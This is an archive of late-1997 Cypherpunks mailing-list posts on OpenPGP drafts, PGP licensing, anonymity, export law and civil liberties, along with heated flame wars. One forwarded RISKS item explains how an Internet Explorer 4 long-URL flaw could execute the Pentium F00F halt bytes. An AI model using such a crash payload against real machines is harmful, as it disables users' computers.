Message-ID: <3.0.3.32.19971118094016.006d70e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded from IETF-Announce@ietf.org and ietf-open-pgp@imc.org
---------------------------------------------------------------
A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the An Open Specification for Pretty Good Privacy Working Group of the IETF.

	Title		: OP Formats - OpenPGP Message Format
	Author(s)	: R. Thayer, J. Callas, L. Donnerhacke, H. Finney
	Filename	: draft-ietf-openpgp-formats-00.txt
	Pages		: 40
	Date		: 17-Nov-97
	
This document is maintained in order to publish all necessary
information needed to develop interoperable applications based on the
OP format.  It is not a step-by-step cookbook for writing an
application, it describes only the format and methods needed to read,
check, generate and write conforming packets crossing any network.  It
does not deal with storing and implementation questions albeit it is
necessary to avoid security flaws.
 
OP (Open-PGP) software uses a combination of strong public-key and
conventional cryptography to provide security services for electronic
communications and data storage.  These services include
confidentiality, key management, authentication and digital signatures.
This document specifies the message formats used in OP.

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-openpgp-formats-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-openpgp-formats-00.txt

Internet-Drafts directories are located at:

	Africa:	ftp.is.co.za
	
	Europe: ftp.nordu.net
		ftp.nis.garr.it
			
	Pacific Rim: munnari.oz.au
	
	US East Coast: ds.internic.net
	
	US West Coast: ftp.isi.edu

Internet-Drafts are also available by mail.

Send a message to:	mailserv@ds.internic.net.  In the body type:
	"FILE /internet-drafts/draft-ietf-openpgp-formats-00.txt".
	
NOTE:	The mail server at ds.internic.net can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
Content-Type: text/plain
Content-ID:	<19971117171828.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-openpgp-formats-00.txt

<ftp://ds.internic.net/internet-drafts/draft-ietf-openpgp-formats-00.txt>

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 19 Nov 1997 05:04:17 +0800
To: cypherpunks@toad.com
Subject: Re: I-D ACTION:draft-ietf-openpgp-formats-00.txt
Message-ID: <3.0.3.32.19971118094058.006d70e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



From: Paul Hoffman / IMC <phoffman@imc.org>

At 09:45 AM 11/18/97 -0500, Internet-Drafts@ietf.org wrote:
>A New Internet-Draft is available from the on-line Internet-Drafts
directories.
>This draft is a work item of the An Open Specification for Pretty Good
Privacy Working Group of the IETF.
>
>	Title		: OP Formats - OpenPGP Message Format
>	Author(s)	: R. Thayer, J. Callas, L. Donnerhacke, H. Finney
>	Filename	: draft-ietf-openpgp-formats-00.txt
>	Pages		: 40
>	Date		: 17-Nov-97
>	

This is also available as <http://www.imc.org/draft-ietf-openpgp-formats>.
As the draft gets revised in the future, this URL will always point to the
latest version.


--Paul Hoffman, Director
--Internet Mail Consortium


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 19 Nov 1997 02:11:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Ben slowly learns
In-Reply-To: <MOPAGGPJEBEOAAAA@mailexcite.com>
Message-ID: <19971118095509.08331@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 18, 1997 at 08:26:05AM -0800, Jonathan Wienke wrote:
> At 01:13 AM 11/18/97 -0800, Kent Crispin wrote:
> >There are many circumstances that don't involve a circle of assholes
> >with drawn weapons.  Perhaps you have a job that allows you to carry a
> >gun; most don't.  Perhaps you drive with your weapon on your lap, and
> >are always on the lookout for snipers; but I doubt it.  Maybe you have
> >eyes in the back of your head, and can read people's minds, but I
> >doubt that, too.  The cold fact is, Ben, if I wanted bad enough to
> >kill you, you would almost certainly be dead, never knowing it
> >happened.  That's not magic -- you could do the same to me, and if you
> >gave 10 minutes thought you would realize this is so. 
> 
> Ummmm, when was the last time you were robbed or pistol-whipped by a
> sniper?  IIRC, the original context was face to face encounters with
> larcenous scum, modulo some gratuitous insults.  This is kind of a red
> herring, Kent.

No, the original context was my statement that I had been robbed three
times at gunpoint, and that having a gun wouldn't have made any
difference at the time.  Ben wasn't there and doesn't have a clue
about the circumstances (of course), but felt free to comment (in
essence) that I must be stupid to let someone get the drop on me.

That's macho bullshit.  There is no perfect defense, and my example 
was to demonstrate that simple fact.

Please note that I didn't say that guns were *always* worthless.  So
Ben's example of ratting on someone and then packing heat to scare off
people who might retaliate is the real red herring.  It also obviously
demonstrates a certain amount of basic, dealing-with-life kind of
cluelessness on his part, for other reasons I won't go into. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 19 Nov 1997 02:05:30 +0800
To: cypherpunks@cyberpass.net
Subject: Judge Marilyn Patel
In-Reply-To: <199711180715.IAA13188@basement.replay.com>
Message-ID: <v03110753b09783af5268@[207.94.250.122]>
MIME-Version: 1.0
Content-Type: text/plain



The San Jose Mercury News reports that Judge Patel has been promoted to
Chief Judge of the Northern District of California.  It lists some of her
decisions as:

* The first judge to declare illegal the WW2 internment of Japanese-Americans

* The gas chamber is a cruel and unusual punishment.

Given the way these high profile decisions have been upheld on appeal, we
can hope for the Burnstein case to be upheld as well.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 19 Nov 1997 04:51:46 +0800
To: Nerthus <cypherpunks@cyberpass.net
Subject: Re: How anonymous?
In-Reply-To: <199711181526.QAA07169@basement.replay.com>
Message-ID: <3.0.3.32.19971118100119.006d70e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:26 PM 11/18/1997 +0100, Nerthus wrote:
>Having the writings of a nym "edited" by others as a way of foiling 
>Stylometry -- the statistical analysis of literary style -- may prove to be 
>a lucrative business if nyms ever gain wide use, especially if they are used 
>in ecommerce where anonymity of the nym holder is paramount to avoid the 
>wrath of the tax man in his physical jurisdiction.

As computer programs for analyzing and generating natural language improve,
there's a lot that can be automated, though stylometry does give away which
rewriters you commonly use, the way typewriter differences used to generate clues.
There are crude examples today, like Jive and Valspeak,
and you probably wouldn't want to use a Zippyfier on your ecommerce
	Yow!  Here's $50 for that polysorbate-80!   The Net is a blur of
	Republicans and 0xdeadbeef!  Deposit to account 1028804154422215!
	I'm eating 33 bushels of soybean futures! Yow!
Also, I'm sure there will be freelance writing coaches out there on the net,
who make a business of editing, and who'll be happy to take your
grody Valley-Accent writing and help you write proper formal business jargon,
and if you're giving them the already robo-rewritten text, that's pretty secure.

Also, formal grammars, such as EDI, often constrain the expressiveness of 
commercial communications, reducing the need for obfuscation.




				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 19 Nov 1997 06:26:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGPsdk is now free for non-commercial use
In-Reply-To: <abb1add8bd15a907a1704e6641aa7854@anon.efga.org>
Message-ID: <3.0.3.32.19971118100847.006d70e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:44 AM 11/18/1997 -0500, Anonymous wrote:
>Bill Stewart writes:
[...]
>>         For example, a commercial purpose includes the use of the 
>>         application within a commercial business or facility or 
>>         the use of the product to provide a service, or in support 
>>         of service, for which you charge. 
>>         Commercial purpose also includes use by any government agency
>>         or organization. 
>> First of all, it sounds like it can only be used by students at
>> non-government-run universities, but not at Berkeley, and if
>> Random MIT Student develops PGPwidget using the toolkit,
>> students at U.C.Berkeley can't use it for academic use either,
>> except perhaps on their PCs at home (if they live off-campus.)
>> (Do any of the UK universities count as non-government-run?)
>
>You consider use by students at U.C.Berkeley to be use by a "government
>agency or organization".  I don't think that is what is meant.  They mean
>something like the NSA, or Congress, or the military.

That may not be what they _intended_, but it's what they said..  
They're very explicit that using "within a commercial business or facility"  
is commercial, and they're including government agencies and organizations.
That means if you're using it in a government-owned building,
it's commercial from their license's standpoint.

>> But "within a commercial business or facility" is far more 
>> restrictive.  
>
>"Within" is probably meant in the organizational sense, not in terms of
>physical inclusion.  The fundamental point is whether revenue generation

If they hadn't explicitly said "facility", that might be a reasonable
interpretation, but they've provided carefully crafted language 
that's pinning down a very broad definition of commercial.

>You can't use it to do your work.  Your company should buy a copy in
>that case.  Reading your work email counts as part of doing your work.

If they want to go that direction, well, it's their code (mostly.)
But it's a much different direction from the previous policies.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 19 Nov 1997 05:04:21 +0800
To: cypherpunks@toad.com
Subject: Synergy between IE4 bug and Intel flaw
Message-ID: <3.0.3.32.19971118103354.006d70e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



RISKS DIGEST 19.46 http://catless.ncl.ac.uk/Risks/19.46.html     
has several articles on the Pentium F00FC7C8 bug.
Apparently there are workarounds for it, but there's also the article below.
(Also, Microsoft has supposedly issued a fix for the IE4 bug, 
but fat chance on everybody deploying it quickly enough.)
-----------------------------------------
Date: Wed, 12 Nov 1997 08:27:05 -0700 (MST)
From: Jonathan Levine <jonathan@canuck.com>
Subject: Synergy between IE4 bug and Intel flaw

By now I'm sure you've heard about this delightful synergy:
> ------- Forwarded Message
> Date:    Tue, 11 Nov 1997 06:53:45 -0500
> From:    "Per Hammer" <phammer@raleigh.ibm.com>
> Subject: New IE4 security hole exploited ...
> 
> http://www.wired.com/news/news/technology/story/8429.html
> 
> The deal is, if your use a 'RES://' URL that us longer than 256 characters,
> byte 257 onwards will be executed as machine code. Now ... think ...
> F0 0F C7 C8
> 
> Which is only slightly less malicious than deleting any files ...
> 
> Per Hammer  phammer@raleigh.ibm.com			





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 18 Nov 1997 19:23:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711180955.KAA01687@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anybody remember when people still used the term "ObCrypto" in their
posts?  That was back when the list still meant something about crypto
and freedom, before it became dedicated to racial hatred.  I understand
that the catchphrase de rigeur is now "ObJapBashing".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 19 Nov 1997 00:28:15 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <Pine.LNX.3.93.971116113823.133A-100000@shirley>
Message-ID: <97Nov18.110340est.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 15 Nov 1997, ? the Platypus {aka David Formosa} wrote:

> On Fri, 14 Nov 1997, Tim May wrote:
> 
> > At 9:40 PM -0700 11/14/97, ? the Platypus {aka David Formosa} wrote:
> > 
> > >The system of democratic voteing assumes an educated voteing population
> > >because of this free scular education is a basic right that
> > >should be prodided by the state.
> > 
> > The"system" asssumes no such thing,
> 
> So an informed electorate is not neccery for democarsy to work?  Creating
> such an electorate has been one of the fundermentle elerments in most
> education policies of westion democries.

The problem is that current government (what everyone usually calls
"public") schools are creating a disinformed electorate.  Most high school
and college students think "From each according to his ability, to each
according to his needs" is in the Constitution.  For the last 30 years,
our free education has degraded to "you get what you pay for".

When we had a public/non-governmental school system (with businessmen
parents on school boards and teachers who viewed their duties as a
vocation instead of just another career) children came out of high school
knowing how to read and write (and diagram sentences), and do mathematics,
and usually several useful arts.  Now they have high self esteem in their
ignorance.

So while education is fundamental to freedom, no where does it say that
government should be the main or only provider of education.  Most other
countries are different since they don't have the same type of church and
state problems (the Church ran the education system for centuries in
some), so simply have subsidized what was there.  In the US, the
Government ensures that no part of religion - including morality and
virtue - can be part of education, so things like diligence in doing
homework are foreign to the system as much as not stabbing your
classmates.  Since it would be judgmental to teach them not to shoot or
stab people, we place metal detectors in schools.

There is also one enlightment era concept implicit in "informed
electorate" I disagree with, and is clear at this point in history.  Many
people would argue that Reason = Virtue, i.e. that all evil comes from
ignorance of some consequence of an act.  Currently, even if I prove that
something won't work because of economic laws, and even show that every
time in the past something bad happened, the answer is usually that we are
smarter (reason), or have better intentions (virtue) this time around. 
Reason is used to rationalize vice (Because of global warming...), and
Virtue is used to rationalize tyranny (gun bans - nice people have no use
for them - for an obvious example).  Reason without virtue only creates
greater evils, and virtue without reason causes more unintentional harm
than intentional good.

Both are necessary for the electorate in a democracy, and our supreme
court says we cannot teach virtue in public school, and the educators have
stopped teaching reason.  So the basic right you argue for is to be
viceous and ignorant via government schooling.  Such an electorate will
remain neither free nor democratic for long.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 03:22:56 +0800
To: Ryan Lackey <cypherpunks@Algebra.COM
Subject: Re: mailing list archive
In-Reply-To: <199711181827.NAA08131@tana.mit.edu>
Message-ID: <v03102800b097862f9d3e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:27 AM -0700 11/18/97, Ryan Lackey wrote:

>Does anyone know of a good source for the messages before that one?  How
>many were there, approximately?  If there are a bunch of them and you can
>merge them with mine, I'll be happy to send you a cd of the result.

You should talk to Hugh Daniel, who has a project to put the entire
archives of the list from toad.com on a server, or whatever. (Hugh is
working hard on the SWAN project, so this may be on the back burner.)

My understanding is that essentially complete archives exist, possibly with
some overlaps that would need some tuning or filtering, since the list went
online in October 1992. (Until, of course, toad.com stopped being the host
of the list.)

I presume there must be "merge and filter out dupes" programs, based on
message ID or some hash of the contents, to allow the many separate
archives to be dumped into one giant data base and then sorted to weed out
dupes.


>If enough people want to buy CDs of the data, I'll set up an order page,
>establish pricing, etc.  Right now, for me to make a CD requires buying
>media and doing it at the media lab, unless I buy a drive, so the cost
>is somewhat dependent upon how many people are interested.  If someone wants
>to use corporate or government money to overpay for a cd so I can buy
>a cd-r writer and make it cheaper for everyone else, I'll think fondly of
>whatever organization you represent :)

You don't need to ask for donations...either use a CD-R burning service and
charge enough to cover your costs and a bit more, or take a small gamble
and set yourself up as your own CD-R burner (something you'll want for your
Eternity Service anyway...for backups if for nothing else). I'm skeptical
of charityware projects...

A CD-ROM is no more expensive than a Cypherpunks t-shirt, and there have
been several different versions of them. All done without asking for
donations.

I'll certainly order one or two of these CD-ROMs, if they're done
reasonably well.

The CD-ROM ought to be in format readable by the major platforms, which is
usually not a big problem, if the right protocol is used. And probably just
in sendmail "linear" file format, so that the mailers we have can read the
file in. Getting fancy with sorting the messages into subdirectories would
get hairy. Possibly the files could be arranged by month, or year. Many of
the "Web archives," e.g., of the Extropians and Cypherpunks lists,
apparently organize by months and years, so this software may already be
available for you to use.

I don't think you need to buy a CD-R for this one-shot product (though CD-R
drives are now very cheap and you might want one for yourself, anyway). A
vast number of services have sprung up to do this for you, for reasonable
fees. Check the ad pages of any of the PC magazines, or do a Web search.

(The way it works is that one sends them a disk drive, or Bernoullis, or MO
disks, or tapes, properly formatted, and they do a run of disks. I have no
idea what you have available, but you ought to be able to get access to an
external 650 MB hard disk, which can then be taken down to a local burner
outfit, probably one near you in Cambridge or Boston. They hook up the
drive, transfer the files, and make the run.)

A service will even label the CD-ROMs produced.

>
>Utterly ignoring the copyright issues in the interest of getting wide
>dispersal, especially since it's unlikely anyone cares since no one will
>get rich selling cypherpunks cd-roms,

I wouldn't count on this. I think you can assume that at least _someone_
will raise a stink, if only to see the sparks fly (to mix some metaphors).
At least someone will threaten to sue, claiming that their words are
copyrighted.

Furthermore, many of the posts over the years have contained copyrighted
newspaper articles, copyrighted programs, even stolen material.

This shouldn't discourage you, necessarily, and you may be able to use some
protections as a "archiver" rather than as a "editor."

(BTW, using editorial discretion to remove some items, such as "Wall Street
Journal" copyrighted articles, or ASCII art insults, or RC4 code apparently
liberated from RSADSI, etc., will _increase_ your liability and exposure,
not decrease it. For you will then unambiguously be making editorial
choices, and hence certain protections lapse.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Wed, 19 Nov 1997 00:26:33 +0800
To: cypherpunks@Algebra.COM
Subject: mailing list archive
Message-ID: <199711181616.LAA07392@tana.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



My hard disk now contains an archive of all the messages (I hope...there
are 90k of them) posted on cypherpunks, since the beginning.  It's
CD-ROM sized; I'm building a glimpse index of them right now and will put
them up on the web (tentatively somewhere on http://sof.mit.edu/) soon.  

I'll also be happy to copy them onto particular media (tape, cd, etc.) if I 
have access to the drive, for cost + a meager amount to make it worth the
effort.  I think getting list archives distributed to as many people as
possible would be a good thing -- hopefully a recursive auction market will
start and people will leave me alone after a while.

I'm doing this because there isn't a decent searchable index anywhere
that I've found, and it would be a nice thing to have, and I don't think
the time is too far off when people will try to eliminate the list.  I've
been using the archive of cpunks as my test data set in writing Eternity
DDS -- I thought it was vaguely poetic, in a way.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 03:34:12 +0800
To: Jyri Kaljundi <cryptography@c2.net
Subject: Re: export restictions and investments
In-Reply-To: <Pine.GSO.3.95.971118144118.21511I-100000@nebula>
Message-ID: <v03102801b0978b70d918@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:44 AM -0700 11/18/97, Jyri Kaljundi wrote:
>How do the US export restrictions affect investments into non-US crypto
>companies? Is it legal for US private persons or companies to invest money
>into companies developing strong crypto applications for example in
>Europe?
>


Until recently it was legal for U.S. folks to invest at they saw fit,
modulo that they could not invest in Cuba, Yemen, N. Korea, Eastasia,
Oceania, and other such Enemies of the People.

And a U.S. company could not export expertise to a foreign site to avoid
the export laws (ITARS, now EARs). Thus, RSA could not send Rivest and
others to Estonia to develop s/w to bypass U.S. export laws. (In a sense,
Rivest is non-exportable.)

All this may be changing, for the worse.

The Anti-Terrorism Act of 1995 made _financial_ support of some list of
organizations illegal. This list was finally published, and includes a few
dozen "terrorist" organizations.

This has been interpreted by many to mean that charitable donations to one
of the listed groups, the Irish Republican Army, for example, could be a
crime.

Will some of these offshore crypto and software companies be placed on this
list? Will this make investment in these companies a crime under the
Anti-Terrorism Act?

I believe this will happen. Maybe not next year, but within five years.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 19 Nov 1997 03:55:21 +0800
To: Ryan Anderson <ryan@michonline.com>
Subject: Re: Tim May's offensive racism
In-Reply-To: <199711181241.HAA04320@users.invweb.net>
Message-ID: <19971118113132.27598@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Nov 18, 1997 at 01:15:16PM -0500, Ryan Anderson wrote:
> > ObThereShouldBeALaw
> 
> This one's almost good enough to start using....
> 
> ObThereShouldBeALaw: Everyone should be required to submit an
> ObThereShouldBeALaw..

Though I think it would sound a little better as

ObThereOttaBeALaw:

Here's an ObCrypto:

A prisoner in jail receives a letter from his wife. "I have decided to
plant some lettuce in the back garden. When is the best time to plant
them?" The prisoner, knowing that the prison guards read all mail,
replied in a letter, "Dear Wife, whatever you do, do not touch the back
garden. That is where I hid all the money."

A week or so later, he recieved another letter from his wife: "You
wouldn't believe what happened, some men came with shovels to the house,
and dug up all the back garden."

The prisoner wrote another letter: "Dear wife, now is the best time to
plant the lettuce."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 18 Nov 1997 19:57:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
Message-ID: <199711181035.LAA05189@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III, <whgiii@invweb.net>, writes:

>Exactly how do you equate everything negative that is said against Japan
>as to being racist? I guess if I had said it about Germany then it would
>have been ok?? I bet you are one of those skirt wearing liberals that shed
>tears over nuking Japan as being evil but have no problems with the
>firebombing of Dresdin.

So you are proud of your statement about Japan?  You believe that
President Truman should have dropped additional atomic bombs (if he had
them) on Japan, even _after_ they surrendered?  This would have been in
contravention of every shred of decency and honor.  Such a bloodthirsty
act of revenge would have branded the U.S. as hopelessly barbaric, savage
and inhuman.

Your comments do fit in well with the current tenor of the cypherpunks
list, though.  Barbaric, savage, indecent, dishonorable.  These are the
new codewords of the cypherpunks movement.  The uglier it gets, the more
they like it here.  You do indeed fit right in.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 19 Nov 1997 04:53:13 +0800
To: stewarts@ix.netcom.com
Subject: Re: List Robustness
In-Reply-To: <3.0.3.32.19971117190222.00688de4@popd.ix.netcom.com>
Message-ID: <199711181135.LAA00174@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Stewart <stewarts@ix.netcom.com> writes:
> Usenet is a _great_ place to run Blacknet, because background noise
> is your friend, and the uncensorability depends on piggybacking on
> the firehose.

Piggy-backing the firehose to borrow it's uncensorability was the idea
with the prototype eternity server.  I am not sure USENET is really
that reliable is the problem for it.  So perhaps you can boost
reliability by redundancy, secret split messages.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Grigg <iang@systemics.com>
Date: Tue, 18 Nov 1997 20:43:04 +0800
To: cryptx@ultra-mail.com
Subject: Re: cryptx spam - des-based program.
In-Reply-To: <v0400276eb096754dc58b@[139.167.130.248]>
Message-ID: <347182CF.DA81779@systemics.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart said:
> I got spammed by someone selling Cryptx, a DES-based encryption program.

Sheez, not only spam, but perverting our good name!  Cryptix is good
strong stuff, they are simply hoping to confuse customers by dropping a
vowel.

-- 
iang                                      systemics.com

FP: 1189 4417 F202 5DBD  5DF3 4FCD 3685 FDDE on pgp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 19 Nov 1997 04:16:57 +0800
To: cypherpunks@Algebra.COM
Subject: Flight 007 and our Civil Liberties
Message-ID: <v03102802b09795d84b18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




The FBI has just completed a long press conference in which it reported its
"no terrorist activity suspected" conclusions. Having watched most of it,
and having seen the CIA animation shown at the press conference, I agree
with their conclusions.

(Cypherpunks arch-enemy James Kallstrom, Assistant Director of the FBI,
nevertheless did a fine job,  both in the investigation and in the
reporting. Credit where credit is due.)

However, now that the Flight 007 explosion has been ruled a non-terrorist
event, will we get our freedoms back?

The other big "terrorist event" of that summer of 1996 was the bomb in a
crowd at the Summer Olympic Games in Atlanta. The "fits the profile" perp,
Richard Jewell, was finally cleared of all charges.

So, these were the two big events which stimulated the FAA, under higher
orders, to require mandatory ID of all travelling passengers. And more
multimillion dollar sniffers to be installed in airports.

It seems that each such event ratchets down certain civil liberties, and
even the later repudiation of terrorists and other Horsemen in these events
never results in the liberties coming back....

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Wed, 19 Nov 1997 02:26:34 +0800
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <199711181241.HAA04320@users.invweb.net>
Message-ID: <Pine.GSO.3.95.971118131341.28784D-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



> ObThereShouldBeALaw

This one's almost good enough to start using....

ObThereShouldBeALaw: Everyone should be required to submit an
ObThereShouldBeALaw..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 19 Nov 1997 05:35:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Overcoming War by Making Friends
Message-ID: <199711182118.PAA27868@dfw-ix3.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@replay.com> wrote:
>Monty Cantsin writes:
>
>> What the Net and cypherpunkly tools create is a world in which there
>> are not easily identified disjoint sets because any particular net of
>> relationships that a person has tends to overlap the relationship nets
>> of other people who have a dissimilar set of relationships.
>> 
>> This is a more reliable and robust world to live in because there is a
>> great deal of redundancy.  That is, the elites of two countries cannot
>> conspire to use their respective sets of serfs as cannon fodder in
>> some ill advised adventure.  It's hard to get excited about a war run
>> by people who are not your friends against people who happen to live
>> in another part of the world but with whom you have a relationship.
>
>Good point, but it's important to realize that these new attitudes
>are only available to people who have access to the tools.  Much of
>the world is still trapped in a dark age, without access to the light
>brought by tools for communication.  Powerful interests seek to keep
>them that way.  Until that changes, the old mindset of
>us-against-them will continue to be a threat to peace.

True.  However, to the extent that we and our friends do not
participate, there will be that much less war.  Even if we fail to end
all wars, even the prevention of a single war (or the shortening of
one war!) will be worth the effort.  "War is not healthy for children
and other living things."

I've mentioned the newspaper "The Aurora" which was active during the
Adams administration.  A strong argument can be made that this one
newspaper prevented a war with France and the introduction of Monarchy
into the United States.  Considering the relatively small number of
people involved with this list, the prevention of one war would be a
fantastic achievement.

Consider the benefit that the prevention of World War I would have
brought the world.  Millions of people would not have died before
their time.  Millions of other people would not have lead lives after
the war of dejection and sorrow either due to their own direct
involvement in the war or that of their friends and relatives.

Communism would probably not have arisen sparing the lives of
millions.

World War II would probably not have occurred again sparing the lives
of millions.

The development of germ warfare, chemical warfare, and nuclear warfare
would have proceeded far more slowly.

We would be living in a far wealthier and more peaceful world.

>We as cypherpunks must be leaders in encouraging wider access to
>communications and the tools which manage information.  It's not
>right to target our message narrowly to the militias and racists who
>gravitate towards anti-government causes.  We must be inclusive,
>offering encouragement to other cultures, other races, other
>countries.  Anti-Japanese, anti-Jewish, anti-Black, anti-Arab
>sentiments will only hinder our success, and likewise with our
>emphasis on violence, killing, and death as solutions to problems.

Here I am afraid we disagree.  The world has too many damned leaders!

I also believe that it is a better practice to explore ideas that are
interesting and discuss them honestly rather than to attempt to
sweeten the ideas for consumption by large numbers of people.  The people
who are receptive to our ideas will understand.  Those who are not
will become slaves.

As for being inclusive to foreigners, it's a pretty inclusive list.
After all, anybody in the world who can operate majordomo is allowed
to participate!  You can't do much better than that.

It's my guess that most current readers of the list don't especially
care where people come from or even their exact ideological alignment,
